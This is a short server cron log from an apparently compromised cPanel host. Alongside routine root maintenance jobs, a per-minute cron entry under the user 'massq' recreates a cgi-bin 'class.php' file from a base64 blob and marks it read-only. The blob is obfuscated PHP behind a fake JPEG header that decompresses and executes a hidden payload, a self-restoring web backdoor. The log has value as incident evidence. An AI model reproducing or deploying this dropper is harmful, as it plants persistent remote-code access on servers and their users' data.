Sep 10 21:22:01 server CROND[14633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:22:01 server CROND[14634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:22:01 server CROND[14635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:23:01 server CROND[15113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:23:01 server CROND[15114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:23:01 server CROND[15115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:24:01 server CROND[15593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:24:01 server CROND[15594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:24:01 server CROND[15595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:25:01 server CROND[15979]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:25:01 server CROND[15980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:25:01 server CROND[15984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:25:01 server CROND[15983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:25:01 server CROND[15985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:25:01 server CROND[15987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:25:01 server CROND[15986]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:26:01 server CROND[16802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:26:01 server CROND[16803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:26:01 server CROND[16804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:27:01 server CROND[17193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:27:01 server CROND[17194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:27:01 server CROND[17195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:27:01 server CROND[17196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:28:01 server CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:28:01 server CROND[17574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:28:01 server CROND[17575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:29:01 server CROND[18063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:29:01 server CROND[18064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:29:01 server CROND[18065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:30:01 server CROND[18469]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:30:01 server CROND[18471]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:30:01 server CROND[18475]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:30:01 server CROND[18473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:30:01 server CROND[18476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:30:01 server CROND[18479]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:30:01 server CROND[18474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:30:01 server CROND[18477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:31:01 server CROND[19326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:31:01 server CROND[19328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:31:01 server CROND[19327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:32:01 server CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:32:01 server CROND[19731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:32:01 server CROND[19732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:33:01 server CROND[20116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:33:01 server CROND[20117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:33:01 server CROND[20118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:34:01 server CROND[20500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:34:01 server CROND[20501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
